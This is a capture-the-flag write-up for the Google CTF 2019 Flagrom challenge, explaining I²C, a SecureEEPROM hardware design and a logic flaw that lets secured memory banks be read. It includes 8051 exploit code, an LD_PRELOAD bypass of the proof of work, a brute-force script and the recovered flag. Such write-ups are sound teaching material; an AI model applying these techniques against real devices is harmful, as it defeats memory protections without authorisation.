GoogleCTF 2019 Quals – Flagrom Challenge Writeup

On June 22 and 23, 2019, Wavestone CTF team YoloSw4g took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software security.

 

Introduction

The goal of the challenge is simple and given in the description:

This 8051 board has a SecureEEPROM installed. It’s obvious the flag is stored there. Go and get it.

Four files are provided with it:
  • flagrom: an ELF64 which is the main program,
  • firmware.8051: the firmware which is compiled for an Intel 8051 microcontroller,
  • firmware.c: the source code of firmware.8051,
  • seeprom.sv: the hardware description (in SystemVerilog) of the SecureEEPROM.
At the first launch, a proof of work is required:
$ ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 55d55d

 

The LD_PRELOAD functionality allows you to bypass the proof of work when executing locally. To do this, simply redefine the exit() function to do nothing:
void exit(int x){
x = 1 ;
}
It is then possible to get an overview of how the challenge works:

$ LD_PRELOAD=exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
0
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
Clean exit.

Flagrom operates as follows:
  • Get a proof of work,
  • Get usercode from the user (the payload),
  • Execute the firmware,
  • Execute the usercode.
Let’s take a look at the firmware code:

void main(void) {
write_flag();
secure_banks();
remove_flag();
write_welcome();
POWEROFF = 1;
}

The main() function sum up all actions:
  • The flag is written in the SecureEEPROM, starting at address 64.
  • The second 64-byte bank (the one with the flag) is secured against access.
  • The flag is removed from the main program memory.
  • The string « Hello there » is written in the SecureEEPROM, starting at address 0.

Understanding the SecureEEPROM

All communications with the SecureEEPROM is perform with the I²C protocol. Before going into the SecureEEPROM code, it is necessary to understand how I²C works.
It is a 2-wires master-slave communication protocol widely used in hardware. The first wire, named SCL, serves as a clock to indicated when a signal is safe for reading. The second wire, named SDA, holds the data to be transmitted.
Timing diagram of a I²C communication (source: Wikipedia)
An I²C transaction is a composed of:
  • A start bit (in yellow) which indicate a new transaction is about to be sent,
  • Several data bits (in green), indicated with a high SCL,
  • A stop bit (in yellow) which indicate the end on the transaction.
After every byte, a special state of SDA and SCL allows slaves to acknowledge (ACK) the reception of data.
I²C specifications define an addressing structure to indicate which slave is the recipient:
  • The address constitutes the first 7 bits of the transaction (most significant bit first).
  • The 8th bit indicates whether it is a read (1) or write (0) action.
  • The slave acknowledges here (first byte).
  • The rest is the data which is device-specific.
Start Slave address R/W ACK Data Stop
0 1 2 3 4 5 6 7
MSB LSB 0 = R
1 = W
Addressing structure of an I²C transaction
For the SecureEEPROM, two addresses are defined in firmware.c:
  • The address of the memory module used to read and write data in the EEPROM,
  • The address of the security module used to secure EEPROM data banks.
The messages to the security module do not exactly follows this structure. A 4-bit prefix is used as slave address, while the remaining four bits (bits 4 to 7) are used to indicate which 64-bytes bank to secure.
Let’s now take a deeper look at the hardware description of the SecureEEPROM. It is written in SystemVerilog syntax. If you are not comfortable with it, you should first read the Wikipedia page to understand the basis.
Some procedural blocks are used to keep track of the state of the I²C bus within the program:
  • i2c_scl_state keeps track of the state of the SCL wire. It may be stable high, stable low or on a rising or falling edge.
  • i2c_start and i2c_stop are set whenever a start or stop bit is sent on the bus.
The main part of the SecureEEPROM hardware is a Flip-Flop procedural block (always_ff) which defines a finite state machine to handle I²C communications and actions on the EEPROM.

Finite state machine of the SecureEEPROM
  • The SecureEEPROM start in the state I2C_IDLE where it waits for a start bit to be received.
  • After the start bit, it reads the first control byte to get the slave address (control_prefix) to perform the right actions.
  • When the recipient is the security module, the bank index is contained in the least four significant bits of the control. It is directly secured and the SecureEEPROM returns in the I2C_IDLE state.
  • When the recipient is the EEPROM module, the action depends on the R/W bit of the control byte:
    • For write action, the EEPROM first read an address before writing into memory.
    • For read action, the EEPROM need to have already an address loaded before sending bytes of its memory. To read the EEPROM from the user program, one should
      • Start a write transaction to the EEPROM module and load the address,
      • Start a new read transaction to the EEPROM module without a stop bit,
      • Read the required number of bytes,
      • Send a stop bit to end the transaction.
  • In any state, the reception of a stop bit will clear the loaded address and transition to the I2C_IDLE state.
  • In any state, the reception of a start bit will transition to the I2C_START state without clearing the loaded address.

 

Reading secured areas

Finding the vulnerability

The protection of the memory, in the EEPROM, is performed at two stages:
  • When an address is loaded, if the pointed memory location is secured, the address is tainted as invalid (i2c_address_valid = 0),
  • After each read or write action, the loaded address is increased only if the security of the next address is the same as the security of the current address.
The latter condition is strange: why not only check whether next address is secured? It means that it is possible to read secured address if the current address is secured. However, we cannot load a secured address because of the former condition.
What about changing the security of the current address after loading it?
  • When a bank is secured, the loaded address is not checked nor invalidated.
  • We cannot send any stop bit otherwise the loaded address would be invalidated.
  • However, we can use the start bit to start a new transaction while keeping the address loaded.

With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:

 
Exploitation path — load an unprotected address

 

Then secure the first bank:

 

Exploitation path — secure the bank of the loaded address

Finally, start a read action and read past the current bank boundaries:

Exploitation path — read past the current bank

Exploitation from a user code

Now that the exploitation path is known, a user code needs to be written to exploit it. The 8051 microcontroller provides a high-level interface for I²C communications.

void seeprom_write_byte(unsigned char addr, unsigned char value) {
seeprom_wait_until_idle();
I2C_ADDR = SEEPROM_I2C_ADDR_MEMORY;
I2C_LENGTH = 2;
I2C_ERROR_CODE = 0;
I2C_DATA[0] = addr;
I2C_DATA[1] = value;
I2C_RW_MASK = 0b00; // 2x Write Byte

I2C_STATE = 1;
seeprom_wait_until_idle();
}

It is, however, not possible to change the address within the same communication. A raw access to I²C wires is however provided:

__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;

Wikipedia provides an example in C code in the I²C page. It can be used as a base for the exploitation program. It gives two high level function to read and write bytes:

unsigned char i2c_write_byte(unsigned char send_start,
unsigned char send_stop,
unsigned char byte);
unsigned char i2c_read_byte(unsigned char send_stop);

The acknowledgement of the function i2c_read_byte needs to be modified for it to work with the EEPROM. The EEPROM can be exploited with the following code:

#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)

void main(void) {
int i;
print(« start user program\n »);
/* Load address 0 */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_WRIT);
i2c_write_byte(0, 0, 0);
/* Secure all banks */
i2c_write_byte(1, 0, SEEPROM_I2C_ADDR_SECURE | 0b1111);
/* Read 255 bytes of memory */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_READ);
for (i=0; i<255; i++) {
if (i%64 == 0) {
print(« \n »);
}
CHAROUT = i2c_read_byte(0);
}
print(« \n »);
POWEROFF = 1;
}

The full exploitation program can be found here. On Linux, the compiler sdcc supports Inter 8051 microcontroller and may be used. It generates an IntelHex format which should be converted to a raw binary. Some Python libraries exist to perform the conversion.

$ { echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there.
On the real server the flag is loaded here.
Clean exit.

The code works just fine on the local instance and we successfully get a fake flag.

Exploiting the remote service

Completing the proof of work

To exploit the SecureEEPROM remotely, the final step is to perform the proof of work. Nothing complex in it, just brute force until you find a valid proof. Here is a Python code doing that:

from pwn import *
io = remote(‘flagrom.ctfcompetition.com’, 1337)
ask = io.recvuntil(‘\n’).split()
start, md5 = ask[11], ask[16][:-1]
print « Proof of work with: »
print  » start = %s » % start
print  » md5 = %s » % md5
while True:
r = random.random()
s = start + str(r)
if hashlib.md5(s).hexdigest().startswith(md5):
print « Found %s » % s
break

Retrieving the flag

A complete exploit can be downloaded here. It handles the compilation of the user code, performs the proof of work and run the user code.

$ python exploit.py remote hack.c
[+] Starting local process ‘./flagrom’: pid 7333
Sending payload
Received data
———————————-
[+] Receiving all data: Done (467B)
[*] Process ‘./flagrom’ stopped with exit code 0 (pid 7333)
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there
CTF{flagrom-and-on-and-on}
Clean exit.

Back to top